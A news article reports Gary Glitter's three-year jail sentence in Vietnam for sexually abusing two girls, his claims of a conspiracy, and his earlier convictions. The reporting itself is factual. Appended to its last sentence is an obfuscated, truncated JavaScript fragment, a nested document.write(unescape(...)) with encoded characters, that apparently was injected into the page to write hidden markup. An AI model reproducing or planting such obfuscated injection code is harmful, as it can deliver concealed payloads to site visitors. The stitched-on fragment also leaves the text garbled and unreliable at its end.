Gary Glitter gets three years

Former British rock star Gary Glitter has been jailed for three years after a Vietnamese court found him guilty of sexually abusing two young girls. The jury found that Glitter, real name Paul Gadd, had molested the girls, aged 11 and 12, at his home in the resort town of Vung Tau, southern Vietnam.

The 61-year-old, who claimed he was innocent, said the "unbelievable" verdict was part of a "conspiracy". He will be deported after he has served his sentence, possibly back to the UK.

He may be considered for release after serving a third of his jail term, which includes the four months he has been held in custody since his arrest.

In addition to the prison sentence, Glitter has been ordered to pay 5m Vietnamese dong (£180/$315) to his victims' families. Glitter was said to have committed a series of "lewd" acts while the girls were at his beach house in Vung Tau.

The two-day trial was held behind closed doors because of the girls' age, but the media were allowed into court on Friday to hear details of the evidence against Glitter and the verdict.

Referring to Glitter during sentencing, the judge, Hoang Thanh Tung, said: "His lewd acts have compromised the dignity of the Vietnamese people, law and common sense, and therefore it is necessary to punish him." He later told reporters he believed Glitter understood he had "a sickness".

Photographers and journalists crowded around the former singer after sentencing. Glitter told them: "I haven't done anything - I am innocent. It is a conspiracy by you know who."

He suggested some British newspapers were part of a conspiracy against him. As he was led away from the courthouse and into a prison van, Glitter, sporting a white, goatee beard, held a clenched fist in the air.

His lawyer said his client had not yet decided whether to appeal against the decision. The British embassy said in a statement: "Both the UK and the Vietnamese governments take the issue of child-sex tourism extremely seriously.

"We are grateful to the Vietnamese authorities in permitting UK-Vietnam police liaison in this case, as part of wider ongoing UK-Vietnam police liaison on the issue of sex tourism."

Glitter shot to stardom in the 1970s with hits such as Rock and Roll (Part 2) and Leader of the Gang - a No 1 single in the UK in 1973.

Glitter, known for his flamboyant stage persona and extrovert costumes, continued touring for most of the 1980s and 1990s. He had been in custody since 19 November when he was arrested in Ho Chi Minh City as he was about to board a flight out of Vietnam.

In December, Glitter's lawyer made compensatory payments to the families of the girls, who later appealed to the courts for clemency for Glitter.

Glitter was convicted of possessing child pornography in Britain in 1999 and served half of a four-month jail sentence.

He later went to Cambodia, which permanently expelled him in December 2002. He had been held in jail for three nights over suspected sex offences, but never convicted of a crime in Cambodia.

Glitter had previously left the country voluntarily in May that year, following a police investigation prompted by news of his child pornography conviction in the UK.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;